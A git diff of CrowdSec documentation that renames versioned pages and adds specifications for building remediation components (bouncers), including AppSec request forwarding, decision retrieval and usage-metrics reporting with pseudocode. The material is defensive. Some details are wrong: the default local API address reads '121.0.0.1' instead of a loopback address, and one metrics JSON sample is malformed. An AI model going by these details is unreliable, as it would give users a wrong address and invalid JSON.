--- a/crowdsec-docs/versioned_docs/version-v1.6.0/configuration/network_management.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/configuration/network_management.md
@@ -14,9 +14,12 @@ id: network_management
- Local API connects to `tcp/443` on `api.crowdsec.net` (signal push and blocklists pull)
- Local API connects to `tcp/443` on `blocklists.api.crowdsec.net` (blocklists pull)
+ - Local API connects to `tcp/443` on `papi.api.crowdsec.net` (console management)
- `cscli` connects to `tcp/443` on `hub-cdn.crowdsec.net` to fetch scenarios, parsers etc. (1)
- `cscli` connects to `tcp/443` on `version.crowdsec.net` to check latest version available. (1)
- [`cscli dashboard`](/cscli/cscli_dashboard.md) fetches metabase configuration from a s3 bucket (`https://crowdsec-statics-assets.s3-eu-west-1.amazonaws.com/`)
+ - Installation script is hosted on `install.crowdsec.net` over HTTPS.
+ - Repositories are hosted on `packagecloud.io` over HTTPS.
__(1) - both FQDN are cloudfront entries to crowdsec's github repositories so people avoid hitting github's quotas__
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/contact_team.md b/crowdsec-docs/versioned_docs/version-v1.6/contact_team.md
similarity index 100%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/contact_team.md
rename to crowdsec-docs/versioned_docs/version-v1.6/contact_team.md
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/contributing/bouncers.md b/crowdsec-docs/versioned_docs/version-v1.6/contributing/bouncers.md
similarity index 66%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/contributing/bouncers.md
rename to crowdsec-docs/versioned_docs/version-v1.6/contributing/bouncers.md
index a3e5035c2..3246c8bc2 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/contributing/bouncers.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/contributing/bouncers.md
@@ -14,6 +14,32 @@ Sharing on the hub allows other users to find and use it. While increasing your
### How ?
+#### Specs
+
+Remediation components have mandatory and optional features, they are described in the following sub pages:
+- [Specifications for Remediation Component and AppSec Capabilities](/contributing/specs/bouncer_appsec_specs)
+- [Remediation Component Metrics](/contributing/specs/bouncer_metrics_specs)
+
+*Don't hesitate to get in touch with us via discord if anything is unclear to you*
+
+Those specs describe how the Remediation component interacts with the Security Engine Local API as well as how each feature should behave.
+
+Main features are:
+- **Mode**: How the bouncer retrieves decisions
+ - **Stream**: Pulls them periodically and stores them locally (preferred for low latency remediation)
+ - **Live**: Queries the LAPI upon request reception (easier to implement)
+ - Both available ideally, but **Stream** preferred in most cases
+- **AppSec**: Ability to forward requests to the Security Engine to eval appsec rules
+ - Optional but if the remediation component has access to the request this features is a big plus
+- **Metrics**: Keep track of what was remediated
+ - Optional but very useful for the users to be able to evaluate the efficiency of the protection
+ - Ideally with details on the source of the decision (blocklist, manual block, a scenario triggering a decision 'crowdsec'...)
+
+Other optional features are:
+- **MTLS** support
+- Exposing metrics to **Prometheus**
+
+#### Publish on Github
To have it published on the hub, please simply [open a new issue on the hub](https://github.com/crowdsecurity/hub/issues/new), requesting "remediation component inclusion". The remediation component will then be reviewed by the team, and published directly on the hub, for everyone to find & use it!
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/contributing/code.md b/crowdsec-docs/versioned_docs/version-v1.6/contributing/code.md
similarity index 100%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/contributing/code.md
rename to crowdsec-docs/versioned_docs/version-v1.6/contributing/code.md
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/contributing/documentation.md b/crowdsec-docs/versioned_docs/version-v1.6/contributing/documentation.md
similarity index 100%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/contributing/documentation.md
rename to crowdsec-docs/versioned_docs/version-v1.6/contributing/documentation.md
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/contributing/getting_started.md b/crowdsec-docs/versioned_docs/version-v1.6/contributing/getting_started.md
similarity index 100%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/contributing/getting_started.md
rename to crowdsec-docs/versioned_docs/version-v1.6/contributing/getting_started.md
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/contributing/hub.md b/crowdsec-docs/versioned_docs/version-v1.6/contributing/hub.md
similarity index 94%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/contributing/hub.md
rename to crowdsec-docs/versioned_docs/version-v1.6/contributing/hub.md
index 48d3ab729..b7f1dfb6e 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/contributing/hub.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/contributing/hub.md
@@ -41,7 +41,7 @@ In other cases, having a parser for `SpecificWebServer` access logs would justif
### Scenarios
-When you create a scenario, you must fill some fields in the [`labels`](/scenarios/format.md#labels), else the CI won't accept the contribution.
+When you create a scenario, you must fill some fields in the [`labels`](/log_processor/scenarios/format.md#labels), else the CI won't accept the contribution.
Those `labels` are:
- `classification`: this array contains the CVE ID and the [Mitre Techniques](https://attack.mitre.org/techniques/enterprise/) related to the scenario (when applicable)
- `spoofable`: between 0 and 3, is the chance that the attacker behind the attack can spoof its origin
@@ -50,7 +50,7 @@ Those `labels` are:
- `label` : a human readable name for the scenario
- `cti` : (optional) true or false, used to specify that a scenario is mainly used for audit rather than detecting a threat
-[Here](/scenarios/format.md#labels) is the `labels` documentation for more information.
+[Here](/log_processor/scenarios/format.md#labels) is the `labels` documentation for more information.
Here is an example:
diff --git a/crowdsec-docs/versioned_docs/version-v1.6/contributing/specs/bouncer_appsec_specs.mdx b/crowdsec-docs/versioned_docs/version-v1.6/contributing/specs/bouncer_appsec_specs.mdx
new file mode 100644
index 000000000..6d8d79109
--- /dev/null
+++ b/crowdsec-docs/versioned_docs/version-v1.6/contributing/specs/bouncer_appsec_specs.mdx
@@ -0,0 +1,547 @@
+---
+id: bouncer_appsec_specs
+title: Specifications for Remediation Component and AppSec Capabilities
+---
+
+import useBaseUrl from "@docusaurus/useBaseUrl"
+
+## Context
+
+A **Remediation Component** *(aka **Bouncer**)* is enforcing **decisions** made by **CrowdSec Security Engine** based on detected malicious behaviors [\[See figure 1\]](#crowdsec-security-engine-diagram), or Directly with CrowdSec SaaS endpoint channeling public, crowdsec or user made blocklsits.
+
+A **decision** dictates what action should be applied on incoming traffic from a specific **IP** or **IP-Range**. *(It could also be on the user scope or any other, but these specifications will focus on the IP and Range scopes)*
+
+The Bouncer communicates with the Security Engine to retrieve the decisions
+The Bouncer applies the appropriate remediation *(we’ll only focus on ban/block and captcha)*
+
+**The following specifications cover**
+
+* [Basic Bouncer features](#basic-bouncer-features)
+ * Communication with the Local API (aka LAPI) or its SaaS counterpart
+ * Decisions retrieval and storage
+ * Remediation
+* [Request Forwarding](#appsec-capability-request-forwarding) (for AppSec capabilities)
+ * Communication with the AppSec endpoint
+ * Forwarding protocol
+* [Config and support requirements](#extra-details-and-requirements)
+
+Here is an existing remediation components *(bouncers)* for Nginx and its lua dependency.
+It's one of the most complete bouncer with AppSec capabilities and Metrics. A good example to follow for your implementation.
+[*cs-nginx-bouncer*](https://github.com/crowdsecurity/cs-nginx-bouncer) *\+ [lua-cs-bouncer](https://github.com/crowdsecurity/lua-cs-bouncer/)* (dependency)
+
+And a more recent and soon finalized [Node JS bouncer](https://github.com/crowdsecurity/nodejs-cs-bouncer) (for a different implementation, to be used in code)
+
+⚠️ **Your bouncer must always delete/clean it’s resources on shutdown**
+
+## Basic Bouncer features
+
+The bouncer connects to LAPI to retrieve the decisions.
+It applies a remediation to incoming requests if the source IP can be found in the decisions list.
+The remediation can be blocking or displaying a captcha.
+
+Fields in purple and/or with the mention (configurable) must appear in the config file, the case of the parameters names can be UPPER or LOWER depending on the type of config file, match the appropriate standard for the bouncer you’re implementing. Try to group them in a logical way in the config file template.
+
+Details about the config file in the [Installation chapter](#installation--documentation)
+
+### Connecting to the Local API (LAPI)
+
+You can find the swagger here [https://crowdsecurity.github.io/api_doc/lapi/](https://crowdsecurity.github.io/api_doc/lapi/)
+Details about the endpoints parameters can be found [in the appendix](#appendix)
+
+* URL to Local API endpoint: configurable field **api_url**
+ * Default value likely to be: `http://121.0.0.1:8080`
+ * Security Engine Config : /etc/crowdsec/config.yaml // api.server.listen_url
+ * For now we only have a v1 of LAPI, bouncer states the version he’s using
+* Authentication
+ * Either by API key passed in the header **X-Api-Key:** configurable field **api_key**
+ * Or via certificate configurable fields **tls.cert_file \+ tls.key_file**
+
+### Retrieving decisions
+
+There are 2 ways for retrieving decisions:
+
+* **Live Mode**: “Each time” a request is handled we call CrowdSec Security Engine
+* **Stream Mode**: We store all decisions in memory and periodically call for delta update
+
+*We’ll prefer Stream Mode as it’s better for latency for a memory cost that is very acceptable.*
+The Stream mode will be the default one in config: configurable field mode
+
+#### Live Mode
+
+The live mode endpoint is **/decisions**
+
+* Parameters
+ *Only the following fields are to be considered for a basic bouncer implementation*
+ * **scope:** value **IP** (forced for live mode)
+ * **value:** the source IP making the request
+ * **origins:** empty by default mean all origins are considered
+ * editable by the user to look in a specific origin: configurable field origins
+ * Origins are comma separated strings (e.g. crowdsec,capi,cscli)
+ * **contains**: empty by default mean *true*
+ * Indicates if it should check range decisions
+ * No need to make this configurable
+* Caching
+ * To avoid consecutive calls for decisions about an IP we’ll cache the decisions per IP
+ * default **1s** configurable field cache_expiration
+* Timeout
+ * If LAPI doesn’t respond
+ * Default **200ms** configurable field lapi_timeout
+ * **Fallback**:
+ * Fallback in case of timeout
+ * By default passthrough : let him pass
+ * Possible values: passthrough, ban, captcha
+ * configurable field lapi_failure_action
+
+#### Stream Mode (by default)
+
+The stream mode endpoint is **/decisions/stream**
+Allows to pull all decisions from LAPI and then periodically get a delta
+
+* Get Decisions
+ * ⚠️ To retrieve the initial full list, use the **startup \= true** parameter
+ * This is necessary if you don’t have the decision list in memory
+ * Following calls need to have startup \= false
+ * Recommended pull period **10s** configurable field stream_update_frequency
+ * Parameters
+
+ *Only the following fields are to be considered for a basic bouncer implementation*
+
+ * **scopes**: default to “ip,range” for stream mode
+ * **origins**:
+ * empty by default mean all origins are considered
+ * editable by the user to look in a specific origin: configurable field origins (same field as for live)
+ * Origins are comma separated strings (e.g. crowdsec,capi,cscli)
+ * **scenarios_containing** and **scenarios_not_containing**
+ * Means that the decisions are linked (or not) to alerts triggered by such or such scenario
+ * The check done by LAPI is a string.contains(...)
+ * Default as empty configurable fields scenarios_containing && scenarios_not_containing
+* Storing decisions
+ * ℹ️ The number of decisions you can expect is:
+ * 30-70k ips from Fire (nominal case)
+ * Can vary a lot depending on the BL subscription of the user
+ * Have the code be able to handle 100k to be safe for the nominal case
+ * Storing in memory is ideal, we recommend to convert IPs to integers
+ * The decisions format is the following:
+ * See [decisions example in appendix](#decision-example)
+ * There can be multiple decisions per IP
+ * Store each decisions independently as they have their own remediation action and TTL
+ * Ranges are stored too
+ * ⚠️ do not transform the range into its containing IPS
+ * Pruning
+ * When you GET you’ll receive “deleted” decisions
+ * Also Clean after a GET or periodically for decisions with expired TTL
+
+### Apply remediation
+
+If a remediation is found and for the LAPI timeout fallback here are the remediations that should be supported
+
+* Remediation type
+ * Remediation property will be “ban”, “captcha” or potentially any custom string
+ * **ban** (block)
+ * Return a 403: configurable field ban_return_code
+ * Accompanied by an HTML body
+ * Default page model [provided (single HTML file)](#ban-template-page)
+ * Page path configurable: configurable field ban_template_path
+ * **captcha**
+ * Various type of captcha must be supported
+ * configurable fields:
+ * captcha _provider
+ * captcha_secret_key
+ * captcha_site_key
+ * captcha_template_path
+ * Type to support
+ * RE-captcha
+ * Turnstile
+ * Hcaptcha
+ * onFails
+ * Re-present the captcha
+ * ⚠️ Cache: in order not to repeat the captcha too often
+ * **1h** cache **per IP** after successful captcha configurable field cache_expiration
+ * **Custom remediation**
+ * Defaults to ignore/ban/captcha configurable field **remediation_fallback**
+ * If ignored, you don’t even need to store the decision
+* Remediation priority
+ * There is a priority in the remediation to take in account if an IP has multiple
+ * Default priority order **Ban** then **Captcha**
+* Metrics see below and in the [detailed metrics specs](/contributing/specs/bouncer_metrics_specs)
+
+### Logging
+
+* When a remediation occurs, log something containing timestamp,sourceIP,remediationType
+
+### Metrics
+
+Remediation component can push information and internal metrics to LAPI about their configuration and the amount of requests/packets/bytes/… that have been blocked or allowed.
+
+The data is pushed on the `/usage-metrics` endpoint of LAPI.
+Metrics push internal should be configurable, with a default value of 30 minutes and not allow intervals smaller than 10 minutes. Setting the interval to 0 disables the push.
+
+The body will contain information about:
+
+- The remediation component type and version
+- Name and version of the operating system the RC is running on
+- Enabled features flags (should be empty for the vast majority of RC)
+- Meta information about the payload itself: the push interval in seconds, the startup timestamp in UTC, the push timestamp in UTC
+- A list of metrics:
+ - Each metric must have a name, value, unit, and, optionally, one or more labels
+
+The metrics track the number of blocked requests per decision origin, so the RC must track internally the origin of every decision (based on the `origin` field from the decision stream).
+Each push must reset the internal counter for the metrics (i.e., we have only sent the number of blocked requests since the last push).
+Each metric about blocked requests must have an `origin` label whose value is the origin of the decision and a `remediation_type` label whose value is the type of remediation that was applied (e.g., `ban` or `captcha`).
+A `processed` metric must also be present that counts the number of requests that were processed by the RC (regardless of whether they were blocked or not). This metric has no label.
+
+A full sample payload can be found in the [appendix](#metrics-payload).
+
+## AppSec Capability (request forwarding)
+
+An additional activatable capability of the bouncer is to forward the request to the security engine allowing more advanced behavior detection.
+
+The request forwarding is a blocking process, when the AppSec capability is activated the bouncer should wait for a response at each request forwarding to process with the request handling.
+
+AppSec is disabled by default and activable if url exists configurable field appsec_url
+
+* Connect to AppSec endpoint
+ * The security engine should have activated the AppSec and a listen address should be present in the SecurityEngine acquisition
+ * Default endpoint `http://127.0.0.1:7422`
+ * Auth by API key passed in the header **X-Api-Key:** same param as LAPI apikey
+* Request forwarding
+ * You can find information about the forwarding protocol on this doc page: [https://docs.crowdsec.net/docs/next/appsec/protocol/](https://docs.crowdsec.net/docs/next/appsec/protocol/)
+ * When forwarding the query to the AppSec endpoint, the security engine will evaluate the actions to do and return the appropriate response code that the remediation component should display.
+ * ⚠️ At the exception of codes **500** and **401** which mean that the forwarding or authentication to the endpoint failed. For those response codes you should trigger the fallback described there after..
+ * ⚠️ As stated earlier this is a blocking process
+ * **Timeout** 200ms configurable field appsec_timeout
+ * **Fallback**:
+ * Fallback in case of timeout or response failure (500,401…)
+ * By default passthrough : let him pass
+ * Possible values: passthrough, ban, captcha
+ * configurable field appsec_failure_action
+
+## Extra Details and Requirements
+
+* The name and version of the bouncer are specified via its **user-agent** communicating with LAPI
+ * The format is the following : *crowdsec-\-bouncer/v\*
+ * E.g *crowdsec-firewall-bouncer/v1.42*
+* Ideally the bouncer would work for windows versions (if any) and openBSD (if any)
+* The bouncer should be able to handle **HTTP 1 & 2 requests**, or mention the limitations
+
+## Installation / Documentation
+
+Usually we (at CrowdSec) will deal with **documentation**, **install scripts** and **packaging**. But any pointers from the bouncer’s developper that can help those processes is welcome on the following:
+
+Let us know what minimum version of the service is required to run the bouncer
+
+Provide a brief description of the steps necessary to install and configure the bouncer
+⚠️Note that the bouncers configuration files must be located in ***/etc/crowdsec/bouncers/***
+
+* The bouncer config file name pattern is the following: *crowdsec-\-bouncer.conf*
+* Example of config file */etc/crowdsec/bouncers/crowdsec-apache-bouncer.conf*
+
+Ideally, at install or warmup of the bouncer, a check is made that the *crowdsec service* is running and the bouncer key is automatically created and added to the bouncer config. Provide advice about the best way and phase to perform those actions for this bouncer
+
+## Developing / Testing
+
+Here are some pointers and doc to help you test/mock actions for the bouncer during development.
+
+### Init & Decisions management
+
+First you must create a bouncer key for your bouncer to communicate with LAPI.
+Actions on bouncers can be done via the *cscli bouncers …* commands.
+Example:
+
+```
+$ sudo cscli bouncer add myTestBouncer
+
+API key for 'myTestBouncer':
+
+ 26WsbH6MLaKUaRilA1zQ4LyYbMz3LvOsDel9bEZXv+U
+
+Please keep this key since you will not be able to retrieve it!
+
+$ sudo cscli bouncers list
+────────────────────────────────────────────────────────────────────────────────────────
+ Name IP Address Valid Last API pull Type Version Auth Type
+────────────────────────────────────────────────────────────────────────────────────────
+ myTestBouncer ✔️ 2024-01-29T09:24:24Z api-key
+────────────────────────────────────────────────────────────────────────────────────────
+```
+
+Note that the IP address, type and version will appear after the first connection of the bouncer
+
+### Populating decisions
+
+You can have decisions with various origins, here are a few ways to populate them
+
+#### Local decisions & Community blocklist
+
+If you installed your CrowdSec on a server with internet access, and it’s able to communicate with our Central API, it will periodically retrieve the community blocklist. If you are in a situation here your crowdsec shares signal you’ll get between 10 and 50k decisions from the community blocklist (decisions origin will be CAPI), if not you’ll receive a fraction of that.
+
+#### Manually populating decisions
+
+You can add and remove decisions manually:
+Public documentation [available here](https://doc.crowdsec.net/u/user_guides/decisions_mgmt/)
+
+* Via **cscli decisions add/delete.**
+ * E.g. sudo cscli decisions add \-i 1.2.3.4
+ * Those decisions origin will be “*cscli*”
+* Via **cscli decisions import**.
+ * E.g. sudo cscli decisions import \-i ./myBl.txt \--format values
+ * Those decisions origin will be “*cscli-impor*t”
+
+#### Testing failures
+
+Shutdown the *crowdsec service* to test the failure cases.
+
+#### Testing AppSec
+
+You can refer to the AppSec documentation to test request forwarding.
+
+* AppSec [quickstart guide here](https://doc.crowdsec.net/docs/next/appsec/quickstart), [Testing example here](https://doc.crowdsec.net/docs/next/appsec/installation#making-sure-everything-works)
+* E.g. Install virtual patching and try to query a */rpc2* or a *.env* file
+
+## Appendix
+
+### CrowdSec Security Engine diagram
+**Figure 1** : Interactions around **CrowdSec Security Engine**
+
+
+
+
+
+
+### Details about LAPI endpoints parameters
+
+**GET /decisions/stream**
+
+* **startup:** set it to **TRUE** for the **initial call** to get all decisions *(when False you’ll get the delta from your last call)*
+* **scopes: “**ip,range” is the only relevant values when remediating on IPs
+* **origins:** Leave blank to allow all origins, test your configurable origins with [those tests](#decision-example)
+* **scenarios_containing:** leave blank by default, allow change in config
+* **scenarios_not_containing:** leave blank by default, allow change in config
+
+**GET /decisions**
+
+* **scope: “**ip” is the only relevant values when remediating on IPs
+* **value:** the ip itself as a string
+* **type:** filtering on type of decisions, leave blank by default to get any decisions
+* **ip:** ignore/leave blank: shortcut for scope:ip \+ value
+* **range:** ignore/leave blank: shortcut for scope:range \+ value
+* **contains:** leave blank by default, configurable by user
+* **origins:** Leave blank to allow all origins, test your configurable origins with [those tests](#decision-example)
+* **scenarios_containing:** leave blank by default, allow change in config
+* **scenarios_not_containing:** leave blank by default, allow change in config
+
+### Decision example
+
+```javascript
+{
+ "deleted": [
+ {
+ "duration": "-75h34m54.509128301s",
+ "id": 55873846,
+ "origin": "CAPI",
+ "scenario": "crowdsecurity/ssh-bf",
+ "scope": "Ip",
+ "type": "ban",
+ "value": "61.155.106.101"
+ },
+],
+ "new": [
+ {
+ "duration": "167h59m20.890999684s",
+ "id": 55898280,
+ "origin": "CAPI",
+ "scenario": "crowdsecurity/CVE-2022-35914",
+ "scope": "Ip",
+ "type": "ban",
+ "value": "45.95.147.236"
+ },
+]
+}
+
+```
+
+### Ban template page
+
+```javascript
+
+
+
+ CrowdSec Ban
+
+
+
+
+
+
+
+
+
+
+
+
CrowdSec Access Forbidden
+
You are unable to visit the website.
+
+ Your IP seems to have been blocked, check our CTI info about it or contact this website admin
+
+
+
+
+
+
+```
+
+### Metrics payload
+
+More details about metrics in [Metrics specs](/contributing/specs/bouncer_metrics_specs/)
+
+```json
+{
+ "remediation_components": [{
+ "type": "my-bouncer-stat",
+ "version": "1.0.0",
+ "os": {
+ "name": "ubuntu",
+ "version": "22.04"
+ },
+ "features": [], //Always empty / invalid / ignored for bouncers
+ "meta": {
+ "window_size_seconds": 1800,
+ "utc_startup_timestamp": 123123,
+ "utc_now_timestamp": 123123123123
+ },
+ "metrics": [
+ {
+ "name": "blocked",
+ "value": 100,
+ "labels": {
+ "origin": "fire",
+ "remediation_type": "ban"
+ },
+ "unit": "request"
+ },
+ {
+ "name": "blocked",
+ "value": 40,
+ "labels": {
+ "origin": "crowdsec",
+ "remediation_type": "ban"
+ },
+ "unit": "request"
+ },
+ {
+ "name": "blocked",
+ "value": 60,
+ "labels": {
+ "origin": "crowdsec",
+ "remediation_type": "captcha"
+ },
+ "unit": "request"
+ },
+ {
+ "name": "blocked",
+ "value": 100,
+ "labels": {
+ "origin": "lists:tor"
+ "remediation_type": "ban"
+ }
+ },
+ {
+ "name": "processed",
+ "value": 500,
+ "unit": "request"
+ }
+ ]
+}]}
+```
diff --git a/crowdsec-docs/versioned_docs/version-v1.6/contributing/specs/bouncer_metrics_specs.mdx b/crowdsec-docs/versioned_docs/version-v1.6/contributing/specs/bouncer_metrics_specs.mdx
new file mode 100644
index 000000000..91c45eb17
--- /dev/null
+++ b/crowdsec-docs/versioned_docs/version-v1.6/contributing/specs/bouncer_metrics_specs.mdx
@@ -0,0 +1,369 @@
+---
+id: bouncer_metrics_specs
+title: Remediation Component Metrics
+---
+
+## Overview
+
+This document provides a comprehensive guide for developers to implement the "[Remediation Metrics](https://docs.crowdsec.net/docs/next/observability/usage_metrics)" feature in a remediation component. The remediation metrics feature allows remediation components to report [raw metrics](https://docs.crowdsec.net/u/service_api/quickstart/metrics/#raw-metrics) about their activity to the Local API (LAPI), which can then be forwarded to the Central API (CAPI) for monitoring and analytics purposes.
+
+The remediation component should send the following data:
+
+- "**dropped**" metrics: the total number of units (`byte`, `packet` or `request`) for which a remediation (`ban`, `captcha`, etc.) has been applied.
+ For this metrics, data should be split into origin/remediation pairs.
+- "**processed**" metrics: the total number of units that has been processed by the remediation component.
+ It must also include the number of "bypass" (i.e. when no decision were applied).
+- "**active_decisions**" metrics: it represents the number of decisions currently known by the remediation component.
+
+Additionally, some relevant time values must be sent:
+
+- "**window_size_seconds**": The time interval between metric reports (typically 1800 seconds / 30 minutes).
+ We recommend a minimum delay of 15 minutes between each transmission.
+- "**utc_startup_timestamp**": When the remediation component started. This can vary depending on implementation:
+ - For daemon bouncers: timestamp when the daemon process started
+ - For "on-demand" bouncer like the PHP one: timestamp of the first LAPI call/pull
+
+
+As an example, here is the kind of expected payload that you will have to build and send:
+
+### Metrics Payload example
+
+```json
+{
+ "remediation_components": [{
+ "name": "my-bouncer",
+ "type": "crowdsec-custom-bouncer",
+ "version": "1.0.0",
+ "feature_flags": [],
+ "utc_startup_timestamp": 1704067200,
+ "os": {
+ "name": "linux",
+ "version": "5.4.0"
+ },
+ "metrics": {
+ "meta": {
+ "window_size_seconds": 1800,
+ "utc_now_timestamp": 1704069000
+ },
+ "items": [
+ {
+ "name": "dropped",
+ "value": 150,
+ "unit": "request",
+ "labels": {
+ "origin": "CAPI",
+ "remediation": "ban"
+ }
+ },
+ {
+ "name": "dropped",
+ "value": 25,
+ "unit": "request",
+ "labels": {
+ "origin": "cscli",
+ "remediation": "ban"
+ }
+ },
+ {
+ "name": "dropped",
+ "value": 12,
+ "unit": "request",
+ "labels": {
+ "origin": "cscli",
+ "remediation": "captcha"
+ }
+ },
+ {
+ "name": "processed",
+ "value": 1175,
+ "unit": "request"
+ },
+ {
+ "name": "active_decisions",
+ "value": 342010
+ }
+ ]
+ }
+ }]
+}
+```
+
+
+For more details on valid payloads, please refer to the [API specification](https://crowdsecurity.github.io/api_doc/index.html?urls.primaryName=LAPI#/Remediation%20component/usage-metrics).
+
+
+
+## Architecture Overview
+
+### Key Features
+
+Implementing remediation metrics involves several capabilities:
+
+1. **Metrics Storage**:
+ - Store "remediation by origin" counters and relevant time values in a persistent storage.
+ - Update or delete stored values
+2. **Metrics Building**:
+ - Retrieve metrics in storage
+ - Format metrics according to the API specification
+3. **Metrics Transmission**:
+ - Send metrics to LAPI `usage-metrics` endpoint
+ - Update metrics items so that next push will only send fresh metrics
+
+### Core Concepts
+
+- **Origins**: The source of a remediation (e.g., `CAPI`, `lists:***`, `cscli`, etc).
+
+ As we want to track the total number of processed items, we also need to be able to count the number of "bypass". That's why you may use a `clean` and `clean_appsec` origins to track bypass remediations for regular and AppSec traffic respectively.
+
+- **Remediations**: The final action effectively applied by the remediation component (e.g., "ban", "captcha", "bypass")
+
+ The remediation stored in metrics **must be the final remediation effectively applied by the bouncer**, not the original decision from CrowdSec. Examples:
+
+ - **Captcha Resolution**: If the original decision was "captcha" but the user has already solved the captcha and can access the page, store "bypass" as the final remediation.
+
+ - **Remediation Transformation**: If the original decision was "ban" but the bouncer configuration transforms it to "captcha" (and the user hasn't solved it yet), store "captcha" as the final remediation.
+
+ - **Fallback Scenarios**: If a timeout occurs and the bouncer applies a fallback remediation, store the fallback remediation, not the original intended one.
+
+
+## Implementation Guide
+
+### 1. Storage
+
+#### 1.1 Cached Items
+
+Every time the remediation component is involved, storage should be used to persist data:
+
+- origin and remediation
+- time values
+
+For example, you could have the following cached items:
+
+```
+TIME_VALUES = {
+ "utc_startup_timestamp": , // When the bouncer was started or used for the first time
+ "last_metrics_sent": , // Last successful metrics transmission
+}
+
+ORIGINS_COUNT = {
+ "": {
+ "":
+ }
+}
+```
+
+Storing a `last_metrics_sent` value makes it easy to compute the `window_size_seconds` value.
+
+#### 1.1 Metrics Tracking
+
+Once you know the final remediation that has been applied, you should increment the count of the related "origin/remediation" pair.
+
+Below are a few lines of pseudo-code to help you visualize what the final implementation might look like.
+
+```pseudocode
+function updateMetricsOriginsCount(origin: string, remediation: string, delta: int = 1): int
+ // Get current count from cache
+ currentCount = getFromCache("ORIGINS_COUNT[origin][remediation]") ?? 0
+
+ // Update count (delta can be negative for decrementing)
+ newCount = max(0, currentCount + delta)
+
+ // Store updated count in cache
+ storeInCache("ORIGINS_COUNT[origin][remediation]", newCount)
+
+ return newCount
+```
+
+### 2. Metrics Building Process
+
+In order to send metrics, you will have to retrieved cached values and build the required payload.
+
+#### 2.1 Build Metrics Items
+
+The main information belongs to the metrics items:
+
+```pseudocode
+function buildMetricsItems(originsCount: object): object
+ metricsItems = []
+ processedTotal = 0
+ originsToDecrement = {}
+
+ for each origin in originsCount:
+ for each remediation, count in origin:
+ if count <= 0:
+ continue
+
+ // Track total processed requests
+ processedTotal += count
+
+ // Prepare for decrementing after successful send
+ originsToDecrement[origin][remediation] = -count
+
+ // Skip bypass remediations in "dropped" metrics
+ if remediation == "bypass":
+ continue
+
+ // Create "dropped" metric for blocked requests
+ metricsItems.append({
+ "name": "dropped",
+ "value": count,
+ "unit": getMetricUnit(), // "request", "packet", or other relevant unit
+ "labels": {
+ "origin": origin,
+ "remediation": remediation
+ }
+ })
+
+ // Add total processed metric
+ if processedTotal > 0:
+ metricsItems.append({
+ "name": "processed",
+ "value": processedTotal,
+ "unit": getMetricUnit() // "request", "packet", or other relevant unit
+ })
+
+ // Add active_decisions metric (if supported)
+ activeDecisions = getActiveDecisionsCount()
+ if activeDecisions > 0:
+ metricsItems.append({
+ "name": "active_decisions",
+ "value": activeDecisions,
+ })
+
+ return {
+ "items": metricsItems,
+ "originsToDecrement": originsToDecrement
+ }
+```
+
+Note that it's important to record the number sent for each origin/remediation in order to reset the respective counter after the push.
+
+#### 2.2 Build Complete Metrics Payload
+
+In addition to the metrics items, payload requires properties and meta attributes:
+
+
+```pseudocode
+function buildUsageMetrics(properties: object, meta: object, items: array): object
+ // Prepare bouncer properties
+ bouncerProperties = {
+ "name": properties.name,
+ "type": properties.type,
+ "version": properties.version,
+ "feature_flags": properties.feature_flags ?? [],
+ "utc_startup_timestamp": properties.utc_startup_timestamp
+ }
+
+ // Add optional OS information
+ if properties.os:
+ bouncerProperties["os"] = {
+ "name": properties.os.name,
+ "version": properties.os.version
+ }
+
+ // Prepare metadata
+ metricsMetadata = {
+ "window_size_seconds": meta.window_size_seconds,
+ "utc_now_timestamp": meta.utc_now_timestamp
+ }
+
+ // Build final payload
+ return {
+ "remediation_components": [{
+ ...bouncerProperties,
+ "metrics": {
+ "meta": metricsMetadata,
+ "items": items
+ }
+ }]
+ }
+```
+
+### 3. Complete Push Metrics Implementation
+
+```pseudocode
+function pushUsageMetrics(bouncerName: string, bouncerVersion: string, bouncerType: string): array
+ // Get timing information
+ startupTime = getStartUp()
+ currentTime = getCurrentTimestamp()
+ lastSent = getFromCache("CONFIG.last_metrics_sent") ?? startupTime
+
+ // Get current metrics
+ originsCount = getOriginsCount()
+ metricsData = buildMetricsItems(originsCount)
+
+ // Return early if no metrics to send
+ if metricsData.items.isEmpty():
+ log("No metrics to send")
+ return []
+
+ // Prepare properties and metadata
+ properties = {
+ "name": bouncerName,
+ "type": bouncerType,
+ "version": bouncerVersion,
+ "utc_startup_timestamp": startupTime,
+ "os": getOsInformation()
+ }
+
+ meta = {
+ "window_size_seconds": max(0, currentTime - lastSent),
+ "utc_now_timestamp": currentTime
+ }
+
+ // Build and send metrics
+ metricsPayload = buildUsageMetrics(properties, meta, metricsData.items)
+
+ // Send to LAPI/CAPI
+ sendMetricsToAPI(metricsPayload)
+
+ // Decrement counters after successful send
+ for origin, remediationCounts in metricsData.originsToDecrement:
+ for remediation, deltaCount in remediationCounts:
+ updateMetricsOriginsCount(origin, remediation, deltaCount)
+
+ // Update last sent timestamp
+ storeMetricsLastSent(currentTime)
+
+ return metricsPayload
+```
+
+## Useful Tips
+
+### When to Update Metrics
+
+Call `updateMetricsOriginsCount()` after each remediation decision is **effectively applied**:
+
+```pseudocode
+// After determining and applying the final remediation
+initialRemediation = getRemediationForIP(clientIP)
+origin = initialRemediation.origin
+finalAction = applyBouncerLogic(initialRemediation.action)
+
+// Increment the counter with the final action
+updateMetricsOriginsCount(origin, finalAction, 1)
+```
+
+### When to Push Metrics
+
+Typically push metrics on a scheduled interval (e.g., every 30 minutes):
+
+```pseudocode
+// In your scheduled metrics push job
+try:
+ sentMetrics = pushUsageMetrics("my-bouncer", "1.0.0", "crowdsec-custom-bouncer")
+ if sentMetrics.isEmpty():
+ log("No metrics were sent")
+ else:
+ log("Successfully sent metrics", sentMetrics)
